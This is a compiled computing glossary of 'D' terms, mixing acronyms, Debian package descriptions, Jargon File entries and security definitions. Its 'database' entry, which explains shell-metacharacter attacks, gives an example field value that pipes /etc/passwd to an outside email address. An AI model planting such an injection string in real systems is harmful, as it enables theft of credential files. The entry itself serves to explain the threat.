Defense Advanced Research Projects Agency (org., USA) 
DARPA
Was formally called ARPA. Defence Advanced Reseach Project Agency.
DART
Dynamic Advertising Reporting & Targeting [technology] (WWW, Doubleclick) 
DAS
Directory Assistance Service [protocol] (RFC 1202) 
DAS
Disk Array Subsystem (Unix, HP-UX) 
DAS
Dual Attached Station (FDDI) 
DAS
Dual Attachment Station (FDDI, Schneider & Koch) 
DAS
Dynamic Allocation Scheme [protocol] 
DASD
Direct Access Storage Device 
DASI
Dial Access Signaling Interface 
DASP
Drive Active, Slave Present (IDE) 
DASS
Distributed Authentication Security Service (RFC 1507) 
DAT
Digital Audio Tape (Digital audio) 
Data striping
An important method employed by redundant arrays of inexpensive disks (RAID) in which a single unit of data is distributed acroess several hard disks, increasing ressitance to a failure in one of the drives. 
database
A collection of persistently accessed data that is typically stored for fast and/or arbitrary access. Data stored within a database can be queried, viewed, and manipulated by user applications or Web services such as forms and applets. 
Database
A computer holding large amounts of information that can be searched by an Internet user. A storehouse of information on the Net. From Glossary of Distance Education and Internet Terminology
database
An indexed collection of information which can be accessed, modified and queried using a query language such as SQL. Popular databases applications for Linux include the commercial Oracle product and Informix-SE. 
database
The database is one of the underpinning applications of the Internet. The concept of database "records" predates that of "files" within a computer. These days, most discussion of databases revolves around SQL (structured query language). An SQL statement is a special language that you may use to encode a statement such as show me everyone who has a first name of "Robert". The actual SQL statement would look like: "SELECT * from Everyone where firstname equals 'Robert'". Key point: The near-programming quality of SQL means that it is open to much the same security holes that plague other scripting languages. For example, a frequent attacks against databases is to insert shell metacharacters into data fields. For example, consider a reporting system using PERL that extracts data out of a database. I may create a bank acount where name is "| mail smc@robertgraham.com < /etc/passwd", which will send me the password field when you run your month-end reports. In late 1999 and early year 2000, thousands of Microsoft's web servers were broken into because programs submitted command-line statements through SQL query statements through a default script left open on default installations of their servers. 
datagram
A packet which includes both the source and destination addresses provided by the user, and not the network. Datagrams can also include data. 
datagram
In protocols, a datagram is a single transmission that stands by itself. They are often known as unreliable datagrams because there is not guarantee that they will reach their destination. It is up to some higher protocol or application to verify that a datagram reaches its destination. Streaming media (audio/video/voice) often use datagrams because it doesn't really matter if a few are lost in transmission. 
date
print or set the system date and time 
DATEV
DATEnVerarbeitungszentrale der steuerberatenden Berufe (org., Nuernberg, Germany) 
DATEX
DATa EXchange 
DATEXJ
DATa EXchange - Jedermann ??? (Telekom), "DATEX-J" 
DATEXL
DATa EXchange - Leitungsvermittlung 
DATEXM
DATa EXchange - Multimegabit (Telekom, SMDS), "DATEX-M" 
DATEXP
DATa EXchange - Packetized / Packetvermittlung (Telekom, X.25), "DATEX-P" 
DAV
Digital Audio Video (Apple, Digital audio) 
DAV
[WWW] Distributed Authoring diVersioning (WWW) 
DAVIC
Digital Audio Visual Interoperatibility Council (org., Digital audio) 
DAVID
Digital Audio Video Interactive Decoder (Digital audio) 
DAVIS
DAimler-Benz Vertragspartner-InformationsSystem (MBAG) 
DAWN
Defense Attache Worldwide Network (network, mil.) 
DAX
Developer API eXtension (OS/2, IBM, API) 
DB
DataBase 
db1
The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. It should be installed if compatibility is needed with databases created with db1. This library used to be part of the glibc package. 
DB2
DataBase 2 (IBM, DB) 
db2
The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. This library used to be part of the glibc package. 
DB2CS
DataBase 2 Client/Server (IBM, DB2, DB), "DB2 C/S" 
db2dvi
(Jade Wrapper) converts SGML files to DVI 
db2html
(Jade Wrapper) converts SGML files to HTML 
db2pdf
(Jade Wrapper) converts SGML files to PDF 
db2ps
(Jade Wrapper) converts SGML files to PS 
db2rtf
(Jade Wrapper) converts SGML files to RTF 
DB2SDK
DataBase 2 Software Development Toolkit (DB2, IBM, DB), "DB2 SDK" 
db4
The Berkeley Database (Berkeley DB) is a programmatic toolkit thatprovides embedded database support for both traditional and client/server applications. The Berkeley DB includes B+tree, ExtendedLinear Hashing, Fixed and Variable-length record access methods, transactions, locking, logging, shared memory caching, and database recovery. The Berkeley DB supports C, C++, Java, and Perl APIs. It is used by many applications, including Python and Perl, so this should be installed on all systems. 
DBA
DataBase Administrator (DB) 
DBA
Drei Buchstaben Akronym 
DBAC
DataBase Administration Center (DB) 
DBAS
DataBase Administration System (DB) 
dbbalancer
Database connection pooling, load balancing and write-replication DBBalancer provides facilities to transparently implement: - pooling of connections - load balancing across multiple backends - write replication to multiple backends DBBalancer is a middleware daemon that sits in between database clients, like C, C++, TCL, Java JDBC, Perl DBI, etc programs and a database server. Currently the only server supported is PostgreSQL, but the architecture is open to embrace more servers in future. Also see http://dbbalancer.sourceforge.net/ for more information. 
DBC
Device Bay Controller 
DBCS
Double-Byte Character Set 
DBD
DataBase Description (IBM, DB) 
DBDMA
??? Direct Memory Access (Apple) 
DBEF
Dual Brightness Enhancement Foile (LCD) 
dbench
The dbench (disk) and tbench (TCP) benchmarks dbench and tbench simulate the load of the netbench "industry standard" benchmark used to rate (windows) file servers. Unlike netbench, they do not require a lab of Microsoft Windows PCs: dbench produces the filesystem load on a netbench run, and tbench produces the network load, allowing simpler bottleneck isolation. Note that this benchmark is *not* a realistic reflection of normal server load. 
dbf2mysql
xBase <--> MySQL This program takes an xBase file and sends queries to an MySQL server to insert it into an MySQL table and vice versa. 
dbf2pg
Converting xBase files to PostgreSQL This program takes an xBase-file and sends queries to an PostgreSQL-server to insert it into a table. 
DBI
DataBase Interface (DB) 
dbishell
Interactive SQL shell with readline support Database shell with readline support [command history, tab completion etc] based on the Perl DBI: Has specific support for Oracle, MySQL, Sybase, PostgreSQL, and a generic driver that should work for anything supported by DBI. 
DBL
DataBase Language (DB) 
DBLO
Dual Beam Landing Optimizer 
DBLT
Dynamic Back Link Technology (WWW) 
DBM
DataBase Management, a library of functions which maintain key-content pairs in a data base. 
DBM
DataBase Manager (DB) 
DBME
DataBase Management Environment (DB) 
DBMS
DataBase Management System (DB) 
DBOS
Disk/Drum Based Operating System (OS) 
DBP
DataBase Publishing (DB) 
DBP
Delay Bandwidth Product 
DBRAD
Data Base Relational Application Directory (DB) 
DBRM
Data Base Request Module (DB) 
DBS
Deutscher Bildungs-Server (DFN, WWW) 
DBS
Duplex Bus Selector 
dbs
Files used for the development of DBS source packages DBS stands for Debian Build System and is an alternative approach for source packages which want to ship a pristine source and then apply patches to it. This allows the distribution of multiple patches inside one package that are applied during the build process. Please see http://snoopy.apana.org.au/~bam/debian/faq/#dbs for further information on DBS. 
DBSC
Dynamic Beam Spot Control (Eizo) 
dbskkd-cdb
The fastest dictionary server for SKK dbskkd-cdb is an alternate version of skkserv using cdb. 
DBTG
Data Base Task Group (CODASYL, DB) 
dbview
View dBase III files Dbview is a little tool that will display dBase III and IV files. You can also use it to convert your old .dbf files for further use with Unix. It wasn't the intention to write a freaking viewer and reinvent the wheel again. Instead dbview is intend to be used in conjunction with your favourite unix text utilities like cut, recode and more. 
DBVS
DatenBankVerwaltungsSystem (DB) 
db_archive
the DB database archiver 
db_checkpoint
the DB database checkpoint utility 
db_deadlock
the DB database deadlock detector 
db_dump
the DB database dump utility 
db_dump185
the DB database dump utility 
db_load
the DB database loader 
db_printlog
Debugging utility to dump Berkeley DB log files. 
db_recover
the DB database recovery utility 
db_stat
display DB statistics 
DC
Data Cartridge 
DC
Device Context 
DC
Dublin Core [meta data] 
dc
The GNU dc arbitrary precision reverse-polish calculator GNU dc is a reverse-polish desk calculator which supports unlimited precision arithmetic. It also allows you to define and call macros. A reverse-polish calculator stores numbers on a stack. Entering a number pushes it on the stack. Arithmetic operations pop arguments off the stack and push the results. 
DCA
Data Center Automation 
DCA
Defense Communications Agency (org., USA, mil., predecessor, DISA) 
DCA
Digital Communication Associates 
DCA
Digital Controlled Amplifier (VCA) 
DCA
Distributed Communication Architecture (Sperry Univac) 
DCA
Document Center Architecture 
DCA
Document Content Architecture (IBM, CCS) 
DCA2
Dynamic Cache Architecture [level] 2 
DCAF
Distributed Console Access Facility 
DCAP
Data link switching Client Access Protocol (DLSW, RFC 2114) 
DCB
Data Control Block 
DCB
Disk Coprocessor Board (Novell, SCSI, HBA) 
DCC
Data Communications Computer 
DCC
Data Country Code (ATM) 
DCC
Direct Client to Client (IRC) 
DCC
Display Combination Code 
DCC
DOS Command Center 
DCCA
Dependable Computing for Critical Applications (conference) 
DCCA
Distributed Component Computing Architecture (Star, C/S) 
DCCH
Dedicated Control CHannel (GSM, mobile-systems) 
DCCS
DisContiguous Shared Segments 
dcd
Command-line CD player dcd (Dave's CD player) is a small CD player, for people who think workbone is too bloated and graphical. All functions are accessible from the command line. Loop tracks in the background, use it with 'at' as an alarm clock, whatever. 
DCD
Data Carrier Detect (MODEM, RS-232) 
DCDB
DOMAIN Control DataBase (DOMAIN) 
DCE
Data Circuit terminating Equipment (X.25, CCITT, IBM, HP, DEC, Tandem, Sun) 
DCE
Data Communications Equipment 
DCE
Distributed Computing Environment (OSF) 
DCERPC
Distributed Computing Environment / Remote Procedure Call (DCE, RPC), "DCE/RPC" , "DCE RPC" 
dcgui
Direct Connect Graphical client (GTK+) (peer-based file-sharing) dc_gui is a gtk front-end for the dctc program. dctc handles all communication with dc hubs and clients, while dcgui presents an interface that has many of the features of the original directconnect client, plus some really useful improvements. It is intended for peer-based file-sharing. In practise it works better than gnutella and other similar systems as it allows dc hubs (servers) administators to require clients to share specified amount of data. The amount is usually based on type of client's connection and it is used not to hurt or exclude anybody but to make file sharing "fair play". dcgui is still alpha, so some care has to be taken - try it out! 
DCI
Data Capture Interface (UMA) 
DCI
Device Control Interface 
DCI
Display Control Interface (MS, Windows, Intel) 
DCL
Data Control Language 
DCL
DEC Control Language (DEC) 
DCL
Digital Command [scripting] Language (DEC, VMS) 
dclock
Digital clock for the X Window System with flexible display. Dclock main feature is its great flexibility in how it can draw. You can even display the output from "date" in it such as "Wednesday, 3rd Jan". Dclock also supports setting an alarm. 
DCLU
Digital Carrier Line Unit 
DCLZ
Data Compression Lempel-Ziv 
DCM
Digital Carrier Module 
DCME
Digital Circuit Multiplication Equipment 
DCNA
Data Communication Network Architecture 
DCO
Digital Controlled Oscillator 
DCOM
Distributed Component Object Model (COM, MS, OLE, ActiveX) 
DCOP
Desktop COmmunication Protocol (Linux, KDE) 
dcopperl
Perl bindings for DCOP Perl bindings for DCOP 
dcoppython
Python bindings for DCOP Python bindings for DCOP 
DCP
Data Compression Protocol (Motorola) 
DCPS
Data Communications Protocol Standards 
DCR
Design Change Request (AIX, IBM) 
DCRC
Digital Cellular Radio Conference (GSM, conference, mobile-systems) 
DCS
Data sharing Control System (NEC) 
DCS
Defense Communications System (mil., USA) 
DCS
Desktop Color Separation 
DCS
Digital Cellular System (mobile-systems) 
DCS
Digital Colour System (Adobe, Photoshop) 
DCS
Digital Control System (NEC) 
DCS
Digital Cross-connect System (DEC) 
DCT
??? (CICS, IBM) 
DCT
Data Collection Terminator (BTX) 
DCT
Discrete Cosine Transformation (MPEG, JPEG) 
dctc
Direct Connect Text Client Text console client of well known DC (Direct Connect) protocol which offers peer-based file-sharing. In practise it works better than gnutella and other similar systems as it allows dc hubs (servers) administators to require clients to share specified amount of data. The amount is usually based on type of client's connection and it is used not to hurt or exclude anybody but to make file sharing "fair play". It is *really* not intended to be used "by hand". Instead You should install and use dcgui program. 
DCTN
Defense Commercial Telephone Network (mil., USA, network) 
DCU
Data Cache Unit (CPU, POWER) 
dd
/dee-dee/ vt. [Unix: from IBM JCL] Equivalent to cat or BLT. Originally the name of a Unix copy command with special options suitable for block-oriented devices; it was often used in heavy-handed system maintenance, as in "Let's dd the root partition onto a tape, then use the boot PROM to load it back on to a new disk". The Unix dd(1) was designed with a weird, distinctly non-Unixy keyword option syntax reminiscent of IBM System/360 JCL (which had an elaborate DD `Dataset Definition' specification for I/O devices); though the command filled a need, the interface design was clearly a prank. The jargon usage is now very rare outside Unix sites and now nearly obsolete even there, as dd(1) has been deprecated for a long time (though it has no exact replacement). The term has been displaced by BLT or simple English `copy'. 
dd
convert and copy a file 
dd
copies a file (from standard input to standard output, by default) using specific input and output blocksizes, while optionally performing conversions on it. 
DD
Dansk Dataforening (org., Denmark) 
DD
Data Dictionary (SA, CASE, DB) 
DD
Depacketization Delay 
DD
Double Density [disks] (FDD) 
DDA
DOMAIN Defined Attribute (DOMAIN) 
ddate
converts Gregorian dates to Discordian dates 
DDBAC
Data-Design HBCI Banking Application Components (HBCI) 
DDBMS
Distributed DataBase Management System (DBMS, DB) 
DDC
Device Color Characterization (XCMS) 
DDC
Display Data Channel (VESA) 
DDC2B
Device Data Channel [standard], level 2B (DDC) 
DDCD
Double Density Compact Disk (CD, Sony) 
DDCDR
Double Density Compact Disk - Read (Sony, CD), "DDCD-R" 
DDCDRW
Double Density Compact Disk - Read Write (Sony, CD), "DDCD-RW" 
ddclient
Update dynamic IP address at DynDNS.org A perl based client to update your dynamic IP address at DynDNS.org (or other dynamic DNS services such as Hammernode, Zoneedit or EasyDNS), thus allowing you and others to use a fixed hostname (myhost.dyndns.org) to access your machine. This client supports both the dynamic and (near) static services, MX setting, and alternative host. It caches the address, and only attempts the update if the address actually changes. For more information on DynDNS.org, see http://www.dyndns.org/. 
DDCMP
Digital Data Communication Message Protocol 
DDCS2
Distributed Database Connection Services /2 (IBM, DB, DRDA), "DDCS/2" 
DDD
Data Display Debugger (GNU) 
ddd
The Data Display Debugger, a graphical debugger frontend. The Data Display Debugger (DDD) is a popular graphical user interface to UNIX debuggers such as GDB, DBX, XDB, JDB and others. Besides ``usual'' front-end features such as viewing source texts and breakpoints, DDD provides an interactive graphical data display, where data structures are displayed as graphs. Using DDD, you can reason about your application by watching its data, not just by viewing it execute lines of source code. Other DDD features include: debugging of programs written in Ada, C, C++, Chill, Fortran, Java, Modula, Pascal, Perl and Python; machine-level debugging; hypertext source navigation and lookup; breakpoint, backtrace, and history editors; preferences and settings editors; program execution in terminal emulator window; debugging on remote host; on-line manual; interactive help on the Motif user interface; GDB/DBX/XDB command-line interface with full editing, history, and completion capabilities. This version is linked against Lesstif, an LGPL-ed implementation of Motif. 
DDE
DatenenDEinrichtung 
DDE
Dynamic Data Exchange 
DDES
Digital Data Exchange System (ANSI) 
DDF
Data Decryption Field (cryptography) 
DDI
Device Dependent Interface 
DDI
Device Driver Interface 
DDIMM
Dual [RAS] Dual Inline Memory Module (DIMM, RAS), "D-DIMM" 
DDK
Device Development / Driver Kit (MS) 
DDL
Data Definition Language 
DDL
Document Description Language 
DDM
Distributed Data Management (IBM, CCS) 
DDML
Display Driver Management Layer 
DDN
Defense Data Network (USA, network, mil.) 
DDNS
Distributed DOMAIN Naming Service (TCP/IP) 
DDNS
Dynamic DOMAIN Name Service (OS/2, IBM) 
DDO
Dynamic Drive Overlay (HDD, Ontrack) 
DDOS
Distributed Denial Of Service [attack], "DDoS" 
DDoS (Distributed Denial of Service)
A DDoS attack is one that pits many machines against a single victim. An example is the attacks of February 2000 against some of the biggest websites. Even though these websites have a theoretical bandwidth of a gigabit/second, distributing many agents throughout the Internet flooding them with traffic can bring them down. Key point: The Internet is defenseless against these attacks. The best defense is for ISPs to do "egress filtering": prevent packets from going outbound that do not originate from IP addresses assigned to the ISP. This cuts down on the problem of spoofed IP addresses. History: The original DDoS tools were clonebots used during IRC wars. See also: zombie. 
DDP
Datagram Delivery Protocol (AppleTalk) 
DDP
Distributed Data Processing 
DDR
Double Data Rate (SDR) 
DDR
Dynamic Desktop Router (Cogent) 
DDRS
Defense Data Repository System (mil., USA) 
DDRSDRAM
Double Data Rate Synchronous Dynamic Random Access Memory (DRAM, RAM, IC), "DDR-SDRAM" 
DDRSRAM
Double Data Rate Static Random Access Memory (RAM, IC) 
DDS
Digital Data Service / System 
DDS
Digital Data Storage (Sony, HP, DAT, ISO, ANSI, ECMA, Streamer) 
DDS
Direct Digital Sampling (CD-RW, SCSI) 
DDS
Distributed Directory Service (DCE) 
dds2tar
Tools for using DDS features of DAT drives with GNU tar This tool makes use of the fast seek command of DAT devices. Files from a selected file archive can be extracted within one minute. An undocumented c-shell script scsi_vendor is provided which may help in learning more about an unknown SCSI device. It is used by the mt-dds tool. scsi_vendor requires the tcsh flavor of c-shell. 
DDSA
Digital Data Service Adapter 
DDSDC
Digital Data Storage - Data Compression (DDS, DCLZ), "DDS-DC" 
ddskk
Simple Kana to Kanji conversion program Daredevil SKK is a branch of SKK (Simple Kana to Kanji conversion program, an input method of Japanese). It forked from the main trunk, SKK version 10.56. It consists of a simple core and many optional programs which provide extensive features, however, our target is to more simplify core, and more expand its optional features. 
DDSS
Double Dynamic Suspension System (Asus, CD-ROM) 
DDT
Dynamic Debugging Tool (DEC) 
ddt-client
Dynamic DNS Tools Client. This is the client side implementation of the DDTP protocol. It allows you to assign a fixed FQDN to any hosts that connects to the internet using a dynamic IP. You have to register with a DDT service provider in order to use it. 
ddt-server
Dynamic DNS Tools Server. This is the server side implementation of the DDTP protocol. This is useful only if you want to provide a service similar to the one at ddts.net. You should not install unless you know what you are doing. 
DDU
Dialog Data Unit (BTX) 
DDV
DatenDirektVerbindung (Telekom) 
DDV
DES-DES-Verfahren (cryptography, HBCI) 
DDV
Dialog Data Validation 
DDVS
Daimler-benz DatenVerbundSystem (MBAG) 
DDVT
Dynamic Dispatch Virtual Tables 
DDWG
Digital Display Working Group (org., LCD) 
DDX
Distributed Data eXchange 
DE
DatenElement (HBCI) 
DEA
Deterministischer Endlicher Automat 
dead
adj. 1. Non-functional; down; crashed. Especially used of hardware. 2. At XEROX PARC, software that is working but not undergoing continued development and support. 3. Useless; inaccessible. Antonym: `live'. Compare dead code. 
deadlock
n. 1. [techspeak] A situation wherein two or more processes are unable to proceed because each is waiting for one of the others to do something. A common example is a program communicating to a server, which may find itself waiting for output from the server before sending anything more to it, while the server is similarly waiting for more input from the controlling program before outputting anything. (It is reported that this particular flavor of deadlock is sometimes called a `starvation deadlock', though the term `starvation' is more properly used for situations where a program can never run simply because it never gets high enough priority. Another common flavor is `constipation', in which each process is trying to send stuff to the other but all buffers are full because nobody is reading anything.) See deadly embrace. 2. Also used of deadlock-like interactions between humans, as when two people meet in a narrow corridor, and each tries to be polite by moving aside to let the other pass, but they end up swaying from side to side without making any progress because they always move the same way at the same time. 
deallocvt
deallocate unused virtual terminals 
debarchiver
Tool to handle debian package archives. This tool can create a potato like file structure that dselect, apt-get and similar tools can use for easier installation. You just have to place the package files into a incoming directory and the tool does the sorting (if you place the generated '.changes' file there too). OBSERVE! This package will create a cronjob that does the actual sorting. 
debaux
Debian Auxiliary Programs This package contains Perl programs and modules to build and publish Debian packages. debaux-build automatically downloads APT sources before building, applies patches and additional sources. It has options to build the packages in an existing chroot environment, check the generated packages with lintian, install the created packages on your local system or turn them into RPM packages. debaux-build has experimental support for downloading Perl modules from CPAN and creating the necessary Debian packaging files. debaux-publish uploads packages and runs the scripts to create the APT sources and packages files on the remote system. debaux-publish doesn't support the pool structure yet. The DebAux::Debconf module provides an easy-to-use interface for the Debconf::Client::ConfModule::get function. 
debbugs
The bug tracking system based on the active Debian BTS Debian has a bug tracking system which files details of bugs reported by users and developers. Each bug is given a number, and is kept on file until it is marked as having been dealt with. The system is mainly controlled by e-mail, but the bug reports can be viewed using WWW. This version is fully functional, but it does not autoconfig, see /usr/share/doc/debbugs/README.Debian after installation. Note: there might be some appearance issues where the a display variable doesn't expand as expected. 
debbugs-el
Access the Debian BTS from within Emacs This package contains: * debian-bug.el, an Elisp function to submit a bug from within Emacs. * gnus-BTS.el, an enhancement to Gnus to provide buttons on bug numbers seen in Debian-related messages. 
debconf
Debian configuration management system Debconf is a configuration management system for debian packages. Packages use Debconf to ask questions when they are installed. 
debconf-communicate
communicate with debconf 
debconf-copydb
copy a debconf db 
debconf-getlang
extract a language from a templates file 
debconf-loadtemplate
load template file into debconf database 
debconf-mergetemplate
merge together multiple debconf template files 
debconf-tiny
dummy package for upgrade purposes This is an empty package which depends on debconf. It exists only to ensure smooth upgrades from potato to woody, and can be safely removed at any time. 
debconf-utils
debconf utilities This package contains some small utilities to aid users and developers. There are utilities to help manage debconf databases, others to manage translated template files and a program to communicate directly with debconf from the command line. 
debfoster
Install only wanted Debian packages debfoster is a wrapper program for apt and dpkg. When first run, it will ask you which of the installed packages you want to keep installed. After that, it maintains a list of packages that you want to have installed on your system. It uses this list to detect packages that have been installed only because other packages depended on them. If one of these dependencies changes, debfoster will take notice, and ask if you want to remove the old package. This helps you to maintain a clean Debian install, without old (mainly library) packages lying around that aren't used any more. 
debget
download/compile source and binary Debian packages debget downloads source and binary Debian packages by name. It doesn't require a local copy of the Packages files, instead it lists directories on the FTP site to find out what versions are available. debget can also optionally unpack and compile source packages, and even install the generated binary packages. If you intend to use these features you should install the devscripts package for the dscverify script it contains. 
debhelper
helper programs for debian/rules A collection of programs that can be used in a debian/rules file to automate common tasks related to building debian packages. Programs are included to install various files into your package, compress files, fix file permissions, integrate your package with the debian menu system, suidmanager, doc-base, etc. Most debian packages use debhelper as part of their build process. 
DEBI
DMA Extended Bus Interface (Acorn, DMA) 
Debian GNU/Linux
The Debian Project is currently the largest volunteer based distribution provider. Debian has an old stable version 2.2 (potato), a newer stable version 3.0r1 (woody), and less stable but more current branches available. 
debian-cd
Tools for building (Official) Debian CD set Debian-cd is the official tool for building Debian CD set since the potato release. It was formerly called YACS (for Yet Another CD Script). Its goal is to facilitate the creation of customized Debian CD set. 
debian-guide
Text from: Debian GNU/Linux: Guide to Installation and Usage This package will install the full text in HTML and PostScript formats from the book "Debian GNU/Linux: Guide to Installation and Usage" by Debian developers John Goerzen and Ossama Othman (ISBN 0-7357-0914-9). You can find the installed items under /usr/doc/debian-guide. 
Debian-Ham
Debian-Ham is a floppy distribution specifically for contesting and logging. It is based on uClibc, busybox, and tlf. The current scheme uses a LILO boot floppy with a minix root floppy. Network support is included to connect to a DX cluster. The initial Freshmeat announcment was for version 0.3, released July 21, 2002. Version 0.5 was released April 24, 2003. A floppy-based distribution. 
Debian-Jr.
This is an internal project to make Debian an OS that children of all ages will want to use. Our initial focus will be on producing something for children up to age 8. Once we have accomplished this, our next target age range is 7 to 12. By the time children reach their teens, they should be comfortable with using Debian without any special modifications. 
debian-keyring
GnuPG (and obsolete PGP) keys of Debian Developers The Debian project wants developers to digitally sign the announcements of their packages with GnuPG, to protect against forgeries. This package contains keyrings of GnuPG and (deprecated) PGP keys of developers. 
Debian-Med
Debian-Med is an internal Debian project to support tasks of people in medical care. The goal of Debian-Med is to build a a complete system for all tasks in medical care, using only free software. A 'special purpose/mini' distribution. 
debian-policy
Debian Policy Manual and related documents This package contains: - Debian Policy Manual - Linux Filesystem Hierarchy Standard (FHS) - Authoritative list of virtual package names - Paper about libc6 migration - Policy checklist for upgrading your packages It also replaces the old Packaging Manual; most of the still-relevant content is now included as appendices to the Policy Manual. 
debian-test
Scripts used to run tests against an installed Debian system This package contains tests and the framework to run them, and test provided by other packages to test themselves. The intent is that this should build into a test suite that provides a reasonable level of confidence that a Debian system is working correctly. 
debiandoc-sgml
DebianDoc SGML DTD and formatting tools This is an SGML-based documentation formatting package used for the Debian manuals. It reads markup files and produces DVI (via LaTeX), HTML, Info (via Texinfo), LaTeX, PostScript (via DVI), Texinfo, and plain text (with overstrikes a la troff as well as without) files. The LaTeX based output needs the libpaperg, tetex-bin and tetex-extra packages. The Texinfo based output needs the texinfo package. 
debianutils
Miscellaneous utilities specific to Debian. Debianutils includes installkernel mkboot mktemp readlink run-parts savelog sensible-editor sensible-pager tempfile which. 
debmake
Debianizing Tool and automated binary generation Eases the development and maintenance of Debian Sourcepackages. - deb-make: Generate a debian style sourcepackage from a regular sourcecode archive. Customizes control files. Provides example setup for debstd that is usually usable with minimal editing. - "debstd" which has the following abilities: - Automates compression of documentation, localizes manpages compresses and installs them. - Supports multiple binaries generated from a single source package - Generates maintainer scripts for you and installs all scripts for you in the proper locations with the proper permissions. - Can perform modifications on a variety of important debian config files through generation of proper maintainer scripts. - Runs dpkg-shlibdeps on all ELF binaries for you and generates correct shlibs file for provided libraries automatically. - Checks symlinks to manpages /documentation and redirects them if a file was compressed. 
debootstrap
Bootstrap a basic Debian system debootstrap is used to create a Debian base system from scratch, without requiring the availability of dpkg or apt. It does this by downloading .deb files from a mirror site, and carefully unpacking them into a directory which can eventually be chrooted into. 
deborphan
Find orphaned libraries. deborphan finds "orphaned" packages on your system. It determines which packages have no other packages depending on their installation, and shows you a list of these packages. It is most useful when finding libraries, but it can be used on packages in all sections. 
debpartial
Debian Packages/Sources file partition tool debpartial is a program to separate Packages.gz and Sources.gz files by size of packages and sources. It can be used in the case of: * creating 1 DVD/CD Debian (source & binary) * creating Debian Daily Diff CD. * separating the debian archive into several harddisks. * mirroring packages only you want (using debmirror etc). 
debroster
A package for use at expos. Debroster starts up an eterm with the Debian logo as the background, with a randomly-ordered list of the current developers scrolling up the screen. Use it to show just how many people contribute to the Debian project - and so why we are so damn good :-) 
debsig-verify
Debian Package Signature Verification Tool This tool inspects and verifies package signatures based on predetermined policies. 
debsigs
applies cryptographics signatures to Debian packages debsigs is a program that allows GPG signatures to be embedded inside .deb packages. These signatures can later be verified to ensure the authenticity of the contents of the .deb. 
debsums
Verify installed package files against MD5 checksums. debsums can verify the integrity of installed package files against MD5 checksums installed by the package, or generated from a .deb archive. 
debugfs
ext2 file system debugger 
Debugger
A utility program, often included in compilers or interpreters, that helps programmers find and fix syntax errors and other errors in source code. 
Debugging
The process of locating and correcting errors in a program. 
debview
Emacs mode for viewing Debian packages After installing, you can use C-d in dired mode to view the .deb file on the current line. Allows both the structure and contents of a .deb archive to be examined. 
debwrap
Wrapper for dpkg/apt-get 'debwrap' is a wrapper program for dpkg/apt-get, which reply questions from each package described in {pre,post}-inst scripts. 
DEC
/dek/ n. 1. v. Verbal (and only rarely written) shorthand for decrement, i.e. `decrease by one'. Especially used by assembly programmers, as many assembly languages have a dec mnemonic. Antonym: inc. 2. n. Commonly used abbreviation for Digital Equipment Corporation, later deprecated by DEC itself in favor of "Digital" and now entirely obsolete following the buyout by Compaq. Before the killer micro revolution of the late 1980s, hackerdom was closely symbiotic with DEC's pioneering timesharing machines. The first of the group of cultures described by this lexicon nucleated around the PDP-1 (see TMRC). Subsequently, the PDP-6, PDP-10, PDP-20, PDP-11 and VAX were all foci of large and important hackerdoms, and DEC machines long dominated the ARPANET and Internet machine population. DEC was the technological leader of the minicomputer era (roughly 1967 to 1987), but its failure to embrace microcomputers and Unix early cost it heavily in profits and prestige after silicon got cheap. Nevertheless, the microprocessor design tradition owes a major debt to the PDP-11 instruction set, and every one of the major general-purpose microcomputer OSs so far (CP/M, MS-DOS, Unix, OS/2, Windows NT) was either genetically descended from a DEC OS, or incubated on DEC hardware, or both. Accordingly, DEC was for many years still regarded with a certain wry affection even among many hackers too young to have grown up on DEC machines. DEC reclaimed some of its old reputation among techies in the first half of the 1990s. The success of the Alpha, an innovatively-designed and very high-performance killer micro, helped a lot. So did DEC's newfound receptiveness to Unix and open systems in general. When Compaq acquired DEC at the end of 1998 there was some concern that these gains would be lost along with the DEC nameplate, but the merged company has so far turned out to be culturally dominated by the ex-DEC side. 
DEC
Digital Equipment Corporation (manufacturer) 
DECIX
DEutscher Commercial Internet eXchange (Internet), "DE-CIX" 
DECNET
Digital Equipment Corporation NETwork (DEC) 
decryption (decrypt, decipher)
The opposite of encryption/encrypt/encipher, decryption is the process of taking encrypted data (called ciphertext) and converting it back to the original plaintext. 
DECT
Digital European Cordless Telecommunications (DFUe) 
DECUS
Digital Equipment Computer Users Society (org., DEC, user group) 
dedit
Editor Tool with Japanese extension for beginners. The very simple editor with GNOME Environment for beginners. DEdit can handle gzipped files and some Japanese encoded files. (Japanese encode type: EUC-JP,ISO-2022-JP, SJIS) Also can convert Japanese string encode types. Original DEdit is distributed as a Debian native package. 
DEE
DatenEndEinrichtung 
defaults
The "defaults" are the settings of a system before it has been configured. Key point: Security irritates customers who prefer products that are easy to use. Therefore, most vendors make the same trade off. They ship their systems with the best "out-of-box" experience, and as a result most boxes are easily hacked in their default state. The more a vendor touts its ease-of-use, the more likely hackers will find that vendor's products easy to hack. See also: samples. 
defendguin
defender clone with penguins "Defendguin" is based loosely on William's classic arcade game, "Defender." Some recognizable stars in the realm of modern operating systems should be fairly obvious. A certain monopoly-owning bad guy has been cloned hundreds of times by an unknown alien race. They are now attacking earth, kidnapping little penguinoids and converting them into mutants. Helping them on their way are some other nasty alien ships, of which there are plenty... 
Definite Linux
Definite Linux was a boxed set of desktop Linux and applications. It hasn't been maintained since late 2000. Distribution development is not all that active. 
defoma
Debian Font Manager -- automatic font configuration framework. Defoma, which stands for DEbian FOnt MAnager, provides a framework of automatic font configuration. An application whose configuration of fonts requires users' hand can make the configuration process automated through Defoma, by installing a Defoma-configuration script to Defoma. The script gets called whenever a font is installed and removed, so that the script updates the configuration. Font packages should register their fonts to Defoma in order to have them configured automatically for applications. 
defoma-app
configure a specific application about fonts registered in Debian Font Manager. 
defoma-font
register/unregister font(s) to Debian Font Manager 
defoma-hints
generate font hints. 
defoma-id
Manage id-cache of Debian Font Manager 
defoma-psfont-installer
register fonts installed in a PostScript printer. 
defoma-reconfigure
Reconfigure all from zero. 
defoma-subst
Modify a rulefile of Defoma font substitution system. 
defrag
ext2, minix and xiafs filesystem defragmenter As a file system is used, data tends to become more and more scattered across the disk, degrading performance. A disk defragmenter simply re-organises the data on the disk, so that individual files occupy a single sequential set of disk blocks, and all the free space on the disk is collected together in a single region. Thie generally means that reading a whole file is faster, and disk accesses in general are more efficient. 
defragmentation
The process of relocating broken or separated files from random, non-contiguous locations on a physical disk platter to contiguous locations, which improves the speed and reliability of the disk. 
DEG
DatenElementGruppen (HBCI) 
degauss
